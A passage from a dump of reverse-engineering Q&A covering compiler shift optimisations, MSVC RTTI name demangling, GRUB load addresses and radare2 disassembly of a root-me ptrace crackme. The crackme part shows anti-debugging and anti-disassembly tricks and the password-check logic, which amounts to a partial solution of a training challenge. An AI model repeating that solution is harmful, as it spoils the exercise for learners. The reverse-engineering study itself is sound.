href=\"https://godbolt.org/#z:OYLghAFBqd5QCxAYwPYBMCmBRdBLAF1QCcAaPECAKxAEZSAbAQwDtRkBSAJgCFufSAZ1QBXYskwgA5IILERyAgGoARoQBmeTA3RKOAdj4AGAIJLzSvC2UqQS2lw4BmY2YtXlyO7QAsz1xZKIiyCeMAsmLrodgCs/hymgR5KkvbxpgYAIukmCSbJ6hBqBJraugBuAJR5BgEWxJgEYixK5QB0KgBUTlx6vK1tyJ0AbD5KALQD6J20wxMDmJ1%2BLjX62aZSlYzSMVKkLNJGe6jSAML8/ErCYhJ9TrR7BIebWwDWdPptPk4AnDEAHLQfvouDFhsM/lxtlIfHsDlIjqQTlI9oIQEZSE8EZtSHBYEg0ABbAAOeAYmDIFAgRNJ5OIICYxEJo2A/y4GM0DAIFLRRWepDULEZAE9pA9SETCZhrAB5FgMUXY0hYQmsYDk/n4BqKPDlTBopWYAAemGQIm5Yr2Hm0/IYeBUxBFpwwkik4rkeEJlq2zDYKAuvEY9rRkC2qGJBDwqBC0nGMqcqNE4kktB9Ozh/ORJgASgBZUZKYDIZBKf5tXoQXCEEh3ehKZ0kskUu4%2BSr1gM8R7PLYQAmoRt08iUGlN%2BnIX3AfRGDlk7nEXm2JWCkWWiX9qWy%2BWKxEqtUapVa02RvUGxHG03m13i60MW32x3EYXOrCrj1et04if%2B3j8IMqEMQGGEZRjGUhxk4EzqHqxAqKggiYOMTCCISiY3CmaZSLs%2ByZtIRr/MM4wFuOapKJ8RhtEYSiVvgRDELWpD1v2tLNtwPRtucP68F22I9n2A4UkO1JMaOICslCnJzgu/LLo%2Bq6StKBBygqmqYKqbD7jueDase%2Br8ueZoWh%2B5DWDaSp2g6Touq%2BxCet6jBqt%2BfCBuZAFAZG0YGuBqHJnQGFYfCiLInhBEFkWJZlhWVa0fRjH8XRrGpu2nGdpi3a4nxzGUsOwl0iAxLEsgozksAwxODOXI8pQi6IjJirivJm7KQeql7q6mnabqumGiaBlXlaJm3mZ96WS%2BRlvnZX6cMlf6uUiwEebG8YTISDThEwUqCN5Ei%2BdC/k4VIxKoAA7hSRWYIWxZKMMbROBRVFRTWCUMQ2mV3E47EdtxRyVFsCCYEwWD0oBpDvGybRgkYPi0P8RhcPo3xlT40KwqQXq0NO2FKsiqLoqlPEYVwGZY9IX0vKQ0GhNGIA%2BEAA\" rel=\"noreferrer\">See demo</a></li>\n<li>...</li>\n</ul>\n<p><a href=\"https://godbolt.org/#z:OYLghAFBqd5QCxAYwPYBMCmBRdBLAF1QCcAaPECAKxAEZSAbAQwDtRkBSAJgCFufSAZ1QBXYskwgA5NwDMeFsgYisAag6yAwskEF8LAhuwcADAEFTZhQVlcA%2BgVUBbEQwAcEa7YeqAHgEpLDgB2PnNVCNViTAIxFj8AKjd1WTCLYIARSy97R3wANw8cn19SVWLHbgA2J0DzELTI5xSMv3UuAFZVNw1GyOjY4njfAHoe1KDMyxEK1QK3EQgZg29HUtVlm1z2mrr0voinFrbuLvGDqJi4vzHeyaz681mXBloOzxXtgMmLgevfBJvO71KZPT4%2BApvD5bEplWbVWo/SxNI4aVq%2BdpdIETcL9K5DG7YtIhB4WMEwxwvWSyaGrPx7BrIvGDYYJanA9Kk2YFam0r5w8GVLi7JG4w7HDGnVTsnFmJp/AmjGXEzJSfyMaQdKSkFjSEza1DSTT8fiqYRiCTtWS0bUEPVq9UAazoAE4AHTBF0mF1uKpcNyyAAswUDbg6gY1UkD2t1Un1pENUm1ghAJlIdrjatIcFgSDQTgADngGJgyBQIPmiyXiCBgG4uKQAGbFgillMQABG9tIHYUTGIAE9pDbSPmnJgDAB5FgMIeZ0hYJysYAl7v4aLIAh4fKYFPzzC%2BTDIESt4fa6yYBjdhh4DvEfsDzQYSRSEcEYh4Jxn9XMNgoE28Iwt4ppA6qoAWW6oCwe4ALSTrIyaiOIki0D%2Bmoxt2ia%2BL6MFVIGqjAMgyDdG6XCqBAuCECQVr0KoT6FsWpY0f4dEATwtr2uqEB5qgDHVuQlCVoxNZ4ERtAuvQzYMK2xDtl2869iwD5nqOvHjlOM5zvGi7Lqu87rkeW47nu8YHkeJ4viOF5XvON53g%2BT5YCp76ft%2BjDLv%2BvD8EBHYgRAYEQXgUGwfBqgwY2O7EB2qCCJgMFMIITiIRaKFoVIWo6ph0jYVUuH4aJxHiW6JhurQ5GUUQxA0WU9FVkxchcCxxpebwHGZlxPF8aWAkVrxdU1v2Th4XWXBplJMlyd2inKa%2B2pjhOBDTrOa6YEubB6dpeAbkZu7dmZx6nrN5AGJe163veg6OZZtofl%2Bs0/h5nAtQIdl%2BQFkHQdIcEIUISESHQaUZbG8aJmYABKACyeEEURJFkRR%2BCVdVdF9cJVqBk1bFtfqHUoKj/HlkJ1YgAWBbIHhJbAFUshjS2baUPJ8bTYOKnzRpy36atukvpt23brt%2B6Hgd13Ha2NnxnZF2Ps%2Bzm3W5v7sGxPlvQmgXBV9oUwU40TAEp46CMlyEA5GQNZVIBaoAA7qWFOYDDxFVG6sjFeViPUXItG1WjciyJjz3Yw6pAIJgTBYDW/mkM6bglaNXq0LIwS0FUHSdG8kbRqQX60CYabAwa0jJqm6acWlXAYfOiYB/46qRYIQW6oGQA\" rel=\"noreferrer\">Here are some illustrations for the mul/div examples</a>. You can easily see that <code>x*15</code> is replaced by <code>x*16 - x</code> and <code>x*33</code> is done by <code>x*32 + x</code>, i.e. <code>(x &lt;&lt; 4) - x</code> and <code>(x &lt;&lt; 5) + x</code>. Besides, <code>x*8</code> is optimized to <code>lea eax, [0+rdi*8]</code> or <code>shl edi, 3</code> depending on the compiler. The mnemonics <code>SAL</code> and <code>SHL</code> are also freely chosen by the compiler</p>\n<p>I've also put some non-x86 compilers for comparison, because they don't have <code>LEA</code> but may have other shift-related instructions or different shift capabilities beside the normal shift instructions. You can change between various x86 as well as non-x86 compilers to see the differences between their outputs. Another example that combines multiple things I've said above:</p>\n\n<pre><code>struct bitfield {\n    int x: 10;\n    int y: 12;\n    int z: 10;\n};\n\nint f(bitfield b)\n{\n    int i = b.x*65;\n    int j = b.y/25;\n    int k = b.z/8;\n    return (i &lt;&lt; j) + (k &gt;&gt; j);\n}\n</code></pre>\n<p><a href=\"https://godbolt.org/#z:OYLghAFBqd5QCxAYwPYBMCmBRdBLAF1QCcAaPECAKxAEZSAbAQwDtRkBSAJgCFufSAZ1QBXYskwgA5IILERyAgGoARoQBmeTA3RKOAdj4AGAIJLzSvC2UAPEEtpGOAZmNmLV5QE97tLi7cLS2slAC9fJ1cOUwMAEQDok0TPJXUINQJNbV0VAEpEg0CPELw9Z1jVADobACoANgBWBNMglKoyipVKrwB6LiaoluLlAGsOqtCegA5m93NiTAIxFiUIUpcAYU2lKly9XlWxl2xjnfzBpP140ylcxmkGqVIWaSMn1Gkt3n4lYTEJfbOWhPAivW53EZ0fSVLgAFmcdSBdVozmccLqcPuUlhTxeUjepA%2BUieghARlIoPxt1IcFgSDQAFsAA54BiYMgUCCMlls4ggYBTLikTQMAjs0npMGkNQsJjEHxSYGkRkMzDWADyLAYCoJWAZrGAbKl%2BAWijwADdMKSqaRMDZMMgRGLpErPNopQw8CpiHKvBsMJJFSDiHgGS7qcw2Ch%2BPxGF7SZA7qgmQQ8KgWNaALTq5wk0TiSS0O4MB64qVEmxTOqZuqwpTAZDIJRTGGrXCEEiA%2BhKf3M1nsrt7L58XggsF3CD01B93nkSjc/t85CR4D6IzkkVi4gSlRSmW%2B8PK6eqjVanVPPUGo02k0O1OW60Eu0Op2B13Wd02z3e33%2BrCHuRQ3DYsDWjb5eDjFQEwgJMUzTDNpGzZwlEzdRLWIFRUEETBMyYQQGTzf5C2LUtnnLaRK2rWslGXA0lGhIxKiMNt8CIYgu1IHtpx5AduDRIcY1HClxxpKcZ3ZOcuW4xcQCZJlkFrNlgERDdWS3Hc9ysA8gyPBkTwITVtWNTB9TYa9dTwU17ytKVn0dZ0dLdEsvy9H15T/N9gyAoMQKjThwIEb9oNg1N0yzHMUIZBZgFlVVBEIgs6BIqRHjIm0iSZVAAHd2UUzB60bJQ6kqZwmJYjt2L47tex4yquFRASArHKkJzE2rJIXXkQDlBlawFLhVNFcVKF3G193lQ8VTVAyz2M0zDUDCyrItGybTs19Dycj1XN/AMAJDMMfMYUD/JHQL43gEL4PC3MhHzCQkqxVK8QJIkTAAJQAWWohsmxbLhyrYjiuPEurnFhRqzuat5cjuBBMCYLA%2BRg0hIUFSp9AaRE6imZwqzqTG8axHFSDDRxyRe95pBJMlhJa5KuDLdLqbpmG7nQwR4JAWEgA%3D%3D\" rel=\"noreferrer\">That compiles to</a></p>\n<pre><code>f(bitfield):\n        mov     eax, edi\n        mov     edx, edi\n        sar     edi, 22\n        sal     eax, 10\n        sal     edx, 6\n        sar     eax, 20\n        sar     dx, 6\n        imul    ecx, eax, 5243\n        sar     ax, 15\n        sar     ecx, 17\n        sub     ecx, eax\n        movsx   eax, dx\n        mov     edx, eax\n        movsx   ecx, cx\n        sal     edx, 6\n        add     edx, eax\n        lea     eax, [rdi+7]\n        sal     edx, cl\n        test    di, di\n        cmovns  eax, edi\n        sar     ax, 3\n        cwde\n        sar     eax, cl\n        add     eax, edx\n        ret\n</code></pre>\n<p>You can open the Godbolt link to see <em>which instruction corresponds to which line of code <strong>in color</strong></em></p>\n<p><strong>In summary:</strong> Compilers nowadays are really smart and can output &quot;surprising&quot; results to a normal people. They can emit a shift instruction for pretty much any operators in C. <strong>With an optimizing compiler, all bets are off</strong></p>\n<h1>See also</h1>\n<ul>\n<li><a href=\"https://stackoverflow.com/q/7622/995714\">Are the shift operators (&lt;&lt;, &gt;&gt;) arithmetic or logical in C?</a></li>\n<li><a href=\"https://stackoverflow.com/q/4009885/995714\">Arithmetic bit-shift on a signed integer</a></li>\n<li><a href=\"https://stackoverflow.com/q/39853049/995714\">Implementation of logical right shift of negative numbers in c</a></li>\n<li><a href=\"https://stackoverflow.com/q/6487918/995714\">Signed right shift: which compiler use logical shift</a></li>\n<li><a href=\"https://docs.microsoft.com/en-us/cpp/c-language/bitwise-shift-operators?view=vs-2017\" rel=\"noreferrer\">Bitwise Shift Operators in MSVC</a></li>\n<li><a href=\"https://gcc.gnu.org/onlinedocs/gcc/Integers-implementation.html#Integers-implementation\" rel=\"noreferrer\">Bitwise shift in GCC</a></li>\n<li><a href=\"https://en.cppreference.com/w/c/language/operator_arithmetic#Shift_operators\" rel=\"noreferrer\">Shift operators - cppreference</a></li>\n</ul>\n"
    },
    {
        "Id": "20516",
        "CreationDate": "2019-01-30T22:51:57.843",
        "Body": "<p>I'm currently browsing through RTTI information available in an MSVC++2003 executable (writing an IDAPython script to recreate structs for the class hierarchy). Apparently, as visualized <a href=\"http://www.openrce.org/articles/img/igor2_rtti1.gif\" rel=\"nofollow noreferrer\">here</a>, the RTTI Type Descriptor stores something like the name of the classes or their constructor:</p>\n\n<pre><code>.?AVexception@@\n    .?AUescaped_list_error@boost@@\n    .?AVruntime_error@stlp_std@@\n</code></pre>\n\n<p>However, it sports a mangling scheme I do not recognize yet. The name starts with a <code>.</code> which, according to this <a href=\"https://en.wikiversity.org/wiki/Visual_C%2B%2B_name_mangling#Basic_Structure\" rel=\"nofollow noreferrer\">wiki</a>, is not even a valid start for a mangled MSVC name. IDA and <a href=\"http://demangler.com/\" rel=\"nofollow noreferrer\">an online name demangler</a> also cannot demangle these names. According <a href=\"http://www.openrce.org/downloads/details/196\" rel=\"nofollow noreferrer\">to these scripts</a> (s. ms_rtti4.idc) these should map to:</p>\n\n<pre><code>typeid(struct exception)\n    typeid(struct boost::escaped_list_error)\n    typeid(struct stlp_std::runtime_error)\n</code></pre>\n\n<p>I tried removing the leading dot to get a valid start at least, but it is still invalid. Quickly writing an overly simplistic python line to at least fix namespaced class names...</p>\n\n<pre><code>return \"::\".join(reversed(name[4:-2].split(\"@\")))\n</code></pre>\n\n<p>...it of course fails with generic type names, as with these classes here:</p>\n\n<pre><code>ns::FunctionBase             (.?AVFunctionBase@ns@@)\n    ns::Z::P6AXPAX::?$FunctionT  (.?AV?$FunctionT@P6AXPAX@Z@ns@@)\n    ns::Z::P6AHH::?$FunctionT    (.?AV?$FunctionT@P6AHH@Z@ns@@)\n    ns::Z::P6AHPB_W::?$FunctionT (.?AV?$FunctionT@P6AHPB_W@Z@ns@@)\n    ns::Z::P6AHI::?$FunctionT    (.?AV?$FunctionT@P6AHI@Z@ns@@)\n</code></pre>\n\n<p>I noticed removing the <code>.?AU</code> or <code>.?AV</code> prefix from those yields kinda useful results (missing the namespace sadly):</p>\n\n<pre><code>FunctionT@ns@@\n    FunctionT&lt;void (__cdecl*)(void *)&gt;\n    FunctionT&lt;int (__cdecl*)(int)&gt;\n    FunctionT&lt;int (__cdecl*)(wchar_t const *)&gt;\n    FunctionT&lt;int (__cdecl*)(unsigned int)&gt;\n</code></pre>\n\n<p>...but again that one now doesn't work for non-generic names.</p>\n\n<p>I wonder if the RTTI Type Descriptor name scheme is documented, or if there is logic turning this into an actual RTTI name I can demangle with the usual tools?</p>\n",
        "Title": "How can I demangle the name in an RTTI Type Descriptor?",
        "Tags": "|msvc|name-mangling|",
        "Answer": "<p>Via <a href=\"http://www.openrce.org/downloads/details/196\" rel=\"nofollow noreferrer\">Igor Skochinsky's classic IDA RTTI scripts</a>, I found out that the names I posted are equivalent to <code>typeid(struct xyz)</code> (as I've added to my question).</p>\n<p>Abusing creating a valid mangled dtor name from a substring of them and then stripping the ctor parts from the result yields great class names.</p>\n<p>Here's my Python script and the results:</p>\n<pre><code>def demangle(name):\n    # Check if this even is a problematic typeid.\n    if name.startswith(&quot;.?A&quot;):\n        # Remove the .?AU or .?AV prefix.\n        name = name[4:]\n        # Demangle it as a default public destructor call.\n        dtor_name = &quot;??1&quot; + name + &quot;QAE@XZ&quot;\n        name = your_default_msvc_demangler.demangle(dtor_name)\n        # Strip destructor pre and suffixes again (accessor / cconv and parameter list).\n        name = name[len(&quot;public: __thiscall &quot;):name.rfind(&quot;(&quot;)]\n        # Remove dtor name.\n        parts = name.split(&quot;~&quot;)\n        return parts[0][:-2]\n    else:\n        return your_default_msvc_demangler.demangle(name)\n</code></pre>\n<p>And here are sample results for the names given in my question:</p>\n<pre><code>exception\n    boost::escaped_list_error\n    stlp_std::runtime_error\n\nns::FunctionBase::FunctionBase\n    ns::FunctionT&lt;void (__cdecl *)(void *)&gt;\n    ns::FunctionT&lt;int (__cdecl *)(int)&gt;\n    ns::FunctionT&lt;int (__cdecl *)(wchar_t const *)&gt;\n    ns::FunctionT&lt;int (__cdecl *)(unsigned int)&gt;\n</code></pre>\n<p>Probably not very elegant, but working.</p>\n"
    },
    {
        "Id": "20525",
        "CreationDate": "2019-01-31T21:54:38.370",
        "Body": "<p>Can you explain to me the significance of link address 2000 8000 7C00? It's  in a MACRO from the GRUB configure script, which checks whether OBJCOPY works for absolute addresses.</p>\n\n<p>Here's the snippet of the code:</p>\n\n<pre><code>AC_DEFUN([grub_PROG_OBJCOPY_ABSOLUTE],\n[AC_MSG_CHECKING([whether ${OBJCOPY} works for absolute addresses])\nAC_CACHE_VAL(grub_cv_prog_objcopy_absolute,\n[cat &gt; conftest.c &lt;&lt;\\EOF\nvoid\ncmain (void)\n{\n   *((int *) 0x1000) = 2;\n}\nEOF\n\nif AC_TRY_EVAL(ac_compile) &amp;&amp; test -s conftest.o; then :\nelse\n  AC_MSG_ERROR([${CC-cc} cannot compile C source code])\nfi\ngrub_cv_prog_objcopy_absolute=yes\nfor link_addr in 2000 8000 7C00; do\n  if AC_TRY_COMMAND([${CC-cc} ${CFLAGS} -nostdlib -Wl,-N -Wl,-Ttext -Wl,$link_addr conftest.o -o conftest.exec]); then :\n  else\n    AC_MSG_ERROR([${CC-cc} cannot link at address $link_addr])\n  fi\n  if AC_TRY_COMMAND([${OBJCOPY-objcopy} -O binary conftest.exec conftest]); then :\n  else\n    AC_MSG_ERROR([${OBJCOPY-objcopy} cannot create binary files])\n  fi\n  if test ! -f conftest.old || AC_TRY_COMMAND([cmp -s conftest.old conftest]); then\n    mv -f conftest conftest.old\n  else\n    grub_cv_prog_objcopy_absolute=no\n    break\n  fi\ndone\n</code></pre>\n",
        "Title": "Significance of link address 2000 8000 7C00;",
        "Tags": "|linux|",
        "Answer": "<p>Taken from <a href=\"ftp://ftp.gnu.org/old-gnu/Manuals/grub-0.90/html_chapter/grub_22.html\" rel=\"nofollow noreferrer\">gnu.org - Hacking GRUB</a></p>\n\n<blockquote>\n  <p>GRUB consists of two distinct components, called stages, which are\n  loaded at different times in the boot process. Because they run\n  mutual-exclusively, sometimes a memory area overlaps with another\n  memory area. And, even in one stage, a single memory area can be used\n  for various purposes, because their usages are mutually exclusive.</p>\n</blockquote>\n\n<p><code>0x7C00</code> Stage 1 is loaded here by BIOS or another boot loader</p>\n\n<p><code>0x2000</code> The optional Stage 1.5 is loaded here / Command-line buffer for Multiboot kernels and modules</p>\n\n<p><code>0x8000</code> Stage2 is loaded here</p>\n"
    },
    {
        "Id": "20534",
        "CreationDate": "2019-02-02T17:02:18.283",
        "Body": "<p>I am trying to solve <a href=\"https://www.root-me.org/en/Challenges/Cracking/ELF-Ptrace\" rel=\"nofollow noreferrer\">this ELF - Ptrace crack me</a>. Here are the commands I use :</p>\n\n<p>I start radare2 with the crack me as argument. </p>\n\n<pre><code>radare2 ch3.bin\n</code></pre>\n\n<p>I decide to go to the main and print the assembly code :</p>\n\n<pre><code>[0x080482f0]&gt; s main \n\n[0x080483f0]&gt; pdf\n            ;-- main:\n/ (fcn) sym.main 175\n|   int sym.main (int argc, char **argv, char **envp);\n|           ; var char *s @ ebp-0x16\n|           ; var int var_ch @ ebp-0xc\n|           ; var int var_4h @ ebp-0x4\n|           ; arg int arg_4h @ esp+0x4\n|           ; DATA XREF from entry0 (0x8048307)\n|           0x080483f0      8d4c2404       lea ecx, [arg_4h]           ; sym._nl_current_LC_MONETARY\n|           0x080483f4      83e4f0         and esp, 0xfffffff0\n|           0x080483f7      ff71fc         push dword [ecx - 4]\n|           0x080483fa      55             push ebp\n|           0x080483fb      89e5           mov ebp, esp\n|           0x080483fd      51             push ecx\n|           0x080483fe      83ec14         sub esp, 0x14\n|           0x08048401      c745f488280c.  mov dword [var_ch], str.ksuiealohgy ; 0x80c2888 ; \"ksuiealohgy\"\n|           0x08048408      6a00           push 0                      ; void*data\n|           0x0804840a      6a01           push 1                      ; loc._nl_current_LC_MONETARY_used ; void*addr\n|           0x0804840c      6a00           push 0                      ; pid_t pid\n|           0x0804840e      6a00           push 0                      ; __ptrace_request request\n|           0x08048410      e85b060100     call sym.ptrace\n|           0x08048415      83c410         add esp, 0x10\n|           0x08048418      85c0           test eax, eax\n|       ,=&lt; 0x0804841a      791a           jns 0x8048436\n|       |   0x0804841c      83ec0c         sub esp, 0xc\n|       |   0x0804841f      6894280c08     push str.Debugger_detect___..._Exit ; 0x80c2894 ; \"Debugger detect\\u00e9 ... Exit\" ; const char *s\n|       |   0x08048424      e8a70e0000     call sym.puts               ; int puts(const char *s)\n|       |   0x08048429      83c410         add esp, 0x10\n|       |   0x0804842c      b801000000     mov eax, 1\n|      ,==&lt; 0x08048431      e9c3000000     jmp loc.080484f9\n|      ||   ; CODE XREF from sym.main (0x804841a)\n|      |`-&gt; 0x08048436      83ec0c         sub esp, 0xc\n|      |    0x08048439      68b0280c08     push 0x80c28b0              ; \"############################################################\" ; const char *s\n|      |    0x0804843e      e88d0e0000     call sym.puts               ; int puts(const char *s)\n|      |    0x08048443      83c410         add esp, 0x10\n|      |    0x08048446      83ec0c         sub esp, 0xc\n|      |    0x08048449      68f0280c08     push str.Bienvennue_dans_ce_challenge_de_cracking ; 0x80c28f0 ; \"##        Bienvennue dans ce challenge de cracking        ##\" ; const char *s\n|      |    0x0804844e      e87d0e0000     call sym.puts               ; int puts(const char *s)\n|      |    0x08048453      83c410         add esp, 0x10\n|      |    0x08048456      83ec0c         sub esp, 0xc\n|      |    0x08048459      6830290c08     push 0x80c2930              ; \"############################################################\\n\" ; const char *s\n|      |    0x0804845e      e86d0e0000     call sym.puts               ; int puts(const char *s)\n|      |    0x08048463      83c410         add esp, 0x10\n|      |    0x08048466      b86e290c08     mov eax, str.Password_:     ; 0x80c296e ; \"Password : \"\n|      |    0x0804846b      83ec0c         sub esp, 0xc\n|      |    0x0804846e      50             push eax\n|      |    0x0804846f      e8ec0a0000     call sym.__printf\n|      |    0x08048474      83c410         add esp, 0x10\n|      |    0x08048477      a19c540e08     mov eax, dword obj.stdin    ; obj._IO_stdin ; [0x80e549c:4]=0x80e5080 obj._IO_2_1_stdin\n|      |    0x0804847c      83ec04         sub esp, 4\n|      |    0x0804847f      50             push eax                    ; FILE *stream\n|      |    0x08048480      6a09           push 9                      ; 9 ; int size\n|      |    0x08048482      8d45ea         lea eax, [s]\n|      |    0x08048485      50             push eax                    ; char *s\n|      |    0x08048486      e8050b0000     call sym.fgets              ; char *fgets(char *s, int size, FILE *stream)\n|      |    0x0804848b      83c410         add esp, 0x10\n|      |    0x0804848e      8d0597840408   lea eax, loc._notng         ; 0x8048497\n|      |    0x08048494      40             inc eax\n\\      |    0x08048495      ffe0           jmp eax\n       |    ;-- _notng:\n</code></pre>\n\n<p>That's where I find the code really strange. There are no more instructions after retrieving the string (the password).</p>\n\n<p>Thanks to <a href=\"https://reverseengineering.stackexchange.com/users/3473/blabb\">blabb</a>, I am able to print the code directly with the command <code>pd 100 @ main</code>. The output is :</p>\n\n<pre><code>[0x080483f0]&gt; pd 100 @ main\n            ;-- main:\n/ (fcn) sym.main 175\n|   int sym.main (int argc, char **argv, char **envp);\n|           ; var char *s @ ebp-0x16\n|           ; var int var_ch @ ebp-0xc\n|           ; var int var_4h @ ebp-0x4\n|           ; arg int arg_4h @ esp+0x4\n|           ; DATA XREF from entry0 (0x8048307)\n|           0x080483f0      8d4c2404       lea ecx, [arg_4h]           ; sym._nl_current_LC_MONETARY\n|           0x080483f4      83e4f0         and esp, 0xfffffff0\n|           0x080483f7      ff71fc         push dword [ecx - 4]\n|           0x080483fa      55             push ebp\n|           0x080483fb      89e5           mov ebp, esp\n|           0x080483fd      51             push ecx\n|           0x080483fe      83ec14         sub esp, 0x14\n|           0x08048401      c745f488280c.  mov dword [var_ch], str.ksuiealohgy ; 0x80c2888 ; \"ksuiealohgy\"\n|           0x08048408      6a00           push 0                      ; void*data\n|           0x0804840a      6a01           push 1                      ; loc._nl_current_LC_MONETARY_used ; void*addr\n|           0x0804840c      6a00           push 0                      ; pid_t pid\n|           0x0804840e      6a00           push 0                      ; __ptrace_request request\n|           0x08048410      e85b060100     call sym.ptrace\n|           0x08048415      83c410         add esp, 0x10\n|           0x08048418      85c0           test eax, eax\n|       ,=&lt; 0x0804841a      791a           jns 0x8048436\n|       |   0x0804841c      83ec0c         sub esp, 0xc\n|       |   0x0804841f      6894280c08     push str.Debugger_detect___..._Exit ; 0x80c2894 ; \"Debugger detect\\u00e9 ... Exit\" ; const char *s\n|       |   0x08048424      e8a70e0000     call sym.puts               ; int puts(const char *s)\n|       |   0x08048429      83c410         add esp, 0x10\n|       |   0x0804842c      b801000000     mov eax, 1\n|      ,==&lt; 0x08048431      e9c3000000     jmp loc.080484f9\n|      ||   ; CODE XREF from sym.main (0x804841a)\n|      |`-&gt; 0x08048436      83ec0c         sub esp, 0xc\n|      |    0x08048439      68b0280c08     push 0x80c28b0              ; \"############################################################\" ; const char *s\n|      |    0x0804843e      e88d0e0000     call sym.puts               ; int puts(const char *s)\n|      |    0x08048443      83c410         add esp, 0x10\n|      |    0x08048446      83ec0c         sub esp, 0xc\n|      |    0x08048449      68f0280c08     push str.Bienvennue_dans_ce_challenge_de_cracking ; 0x80c28f0 ; \"##        Bienvennue dans ce challenge de cracking        ##\" ; const char *s\n|      |    0x0804844e      e87d0e0000     call sym.puts               ; int puts(const char *s)\n|      |    0x08048453      83c410         add esp, 0x10\n|      |    0x08048456      83ec0c         sub esp, 0xc\n|      |    0x08048459      6830290c08     push 0x80c2930              ; \"############################################################\\n\" ; const char *s\n|      |    0x0804845e      e86d0e0000     call sym.puts               ; int puts(const char *s)\n|      |    0x08048463      83c410         add esp, 0x10\n|      |    0x08048466      b86e290c08     mov eax, str.Password_:     ; 0x80c296e ; \"Password : \"\n|      |    0x0804846b      83ec0c         sub esp, 0xc\n|      |    0x0804846e      50             push eax\n|      |    0x0804846f      e8ec0a0000     call sym.__printf\n|      |    0x08048474      83c410         add esp, 0x10\n|      |    0x08048477      a19c540e08     mov eax, dword obj.stdin    ; obj._IO_stdin ; [0x80e549c:4]=0x80e5080 obj._IO_2_1_stdin\n|      |    0x0804847c      83ec04         sub esp, 4\n|      |    0x0804847f      50             push eax                    ; FILE *stream\n|      |    0x08048480      6a09           push 9                      ; 9 ; int size\n|      |    0x08048482      8d45ea         lea eax, [s]\n|      |    0x08048485      50             push eax                    ; char *s\n|      |    0x08048486      e8050b0000     call sym.fgets              ; char *fgets(char *s, int size, FILE *stream)\n|      |    0x0804848b      83c410         add esp, 0x10\n|      |    0x0804848e      8d0597840408   lea eax, loc._notng         ; 0x8048497\n|      |    0x08048494      40             inc eax\n\\      |    0x08048495      ffe0           jmp eax\n       |    ;-- _notng:\n       |    ; DATA XREF from sym.main (0x804848e)\n       |    0x08048497      b88a55ea8b     mov eax, 0x8bea558a\n       |    0x0804849c      45             inc ebp\n       |    0x0804849d      f4             hlt\n       |    0x0804849e      83c004         add eax, 4\n       |    0x080484a1      8a00           mov al, byte [eax]\n       |    0x080484a3      38c2           cmp dl, al\n       |,=&lt; 0x080484a5      753d           jne 0x80484e4\n       ||   0x080484a7      8a55eb         mov dl, byte [ebp - 0x15]\n       ||   0x080484aa      8b45f4         mov eax, dword [ebp - 0xc]\n       ||   0x080484ad      83c005         add eax, 5\n       ||   0x080484b0      8a00           mov al, byte [eax]\n       ||   0x080484b2      38c2           cmp dl, al\n      ,===&lt; 0x080484b4      752e           jne 0x80484e4\n      |||   0x080484b6      8a55ec         mov dl, byte [ebp - 0x14]\n      |||   0x080484b9      8b45f4         mov eax, dword [ebp - 0xc]\n      |||   0x080484bc      40             inc eax\n      |||   0x080484bd      8a00           mov al, byte [eax]\n      |||   0x080484bf      38c2           cmp dl, al\n     ,====&lt; 0x080484c1      7521           jne 0x80484e4\n     ||||   0x080484c3      8a55ed         mov dl, byte [ebp - 0x13]\n     ||||   0x080484c6      8b45f4         mov eax, dword [ebp - 0xc]\n     ||||   0x080484c9      83c00a         add eax, 0xa\n     ||||   0x080484cc      8a00           mov al, byte [eax]\n     ||||   0x080484ce      38c2           cmp dl, al\n    ,=====&lt; 0x080484d0      7512           jne 0x80484e4\n    |||||   0x080484d2      83ec0c         sub esp, 0xc\n    |||||   0x080484d5      687a290c08     push str.Good_password      ; 0x80c297a ; \"\\nGood password !!!\\n\"\n    |||||   0x080484da      e8f10d0000     call sym.puts               ; int puts(const char *s)\n    |||||   0x080484df      83c410         add esp, 0x10\n   ,======&lt; 0x080484e2      eb10           jmp 0x80484f4\n   ||||||   ; CODE XREFS from loc._notng (+0xe, +0x1d, +0x2a, +0x39)\n   |```-`-&gt; 0x080484e4      83ec0c         sub esp, 0xc\n   |   |    0x080484e7      688e290c08     push str.Wrong_password.    ; 0x80c298e ; \"\\nWrong password.\\n\"\n   |   |    0x080484ec      e8df0d0000     call sym.puts               ; int puts(const char *s)\n   |   |    0x080484f1      83c410         add esp, 0x10\n   |   |    ; CODE XREF from loc._notng (+0x4b)\n   `------&gt; 0x080484f4      b800000000     mov eax, 0\n|- loc.080484f9 8\n|   loc.080484f9 ();\n|      |    ; var int var_4h @ ebp-0x4\n|      |    ; CODE XREF from sym.main (0x8048431)\n|      `--&gt; 0x080484f9      8b4dfc         mov ecx, dword [var_4h]\n|           0x080484fc      c9             leave\n|           0x080484fd      8d61fc         lea esp, [ecx - 4]\n\\           0x08048500      c3             ret\n            0x08048501      90             nop\n            0x08048502      90             nop\n            0x08048503      90             nop\n            0x08048504      90             nop\n            0x08048505      90             nop\n            0x08048506      90             nop\n            0x08048507      90             nop\n            0x08048508      90             nop\n            0x08048509      90             nop\n            0x0804850a      90             nop\n            0x0804850b      90             nop\n[0x080483f0]&gt; \n</code></pre>\n\n<p>Why I am obligated to enter this command and not <code>pdf</code> ?</p>\n",
        "Title": "Radare2 does not display the entire assembler code",
        "Tags": "|ida|binary-analysis|radare2|anti-debugging|crackme|",
        "Answer": "<p>I had some trouble really understanding your question so I'll try to answer this question as best as I can.</p>\n\n<p>When you use <code>pdf</code> you instruct radare2 to print the disassembly of the whole function. Where each function begins and ends is identified when analysis is done (<code>aaa</code>). So if you don't have functions identified <code>pdf</code> won't work. </p>\n\n<p>You run your analysis so you could run <code>pdf @ main</code>, but where function ends in this case was wrongly identified. If you check the last instructions of this function this is what you get:</p>\n\n<pre><code>0x0804848e      8d0597840408   lea eax, loc._notng         ;0x8048497\n0x08048494      40             inc eax\n0x08048495      ffe0           jmp eax  \n;-- _notng:\n</code></pre>\n\n<p>So it takes an address of _notng, adds one and jumps there and this what causes r2 to wrongly identify the end of the function. This is a simple trick that caused disassemblers to present invalid opcodes.</p>\n\n<p>You can see it both in IDA and r2. This code that you get later</p>\n\n<pre><code>0x08048497      b88a55ea8b     mov eax, 0x8bea558a\n0x0804849c      45             inc ebp\n0x0804849d      f4             hlt\n</code></pre>\n\n<p>is wrong and it's due to the fact that <code>jmp</code> will land in the middle of this <code>mov</code>. The first byte (<code>b8</code>) is bogus and should not be treated as a code. </p>\n\n<p>In order to fix this issue we can change the type of this byte. In radare you can use:</p>\n\n<pre><code>&gt; Cd 1 1 @ 0x8048497\n</code></pre>\n\n<p>and in IDA you press <kbd>d</kbd> on the <code>mov</code> opcode and later <kbd>c</kbd> on the byte 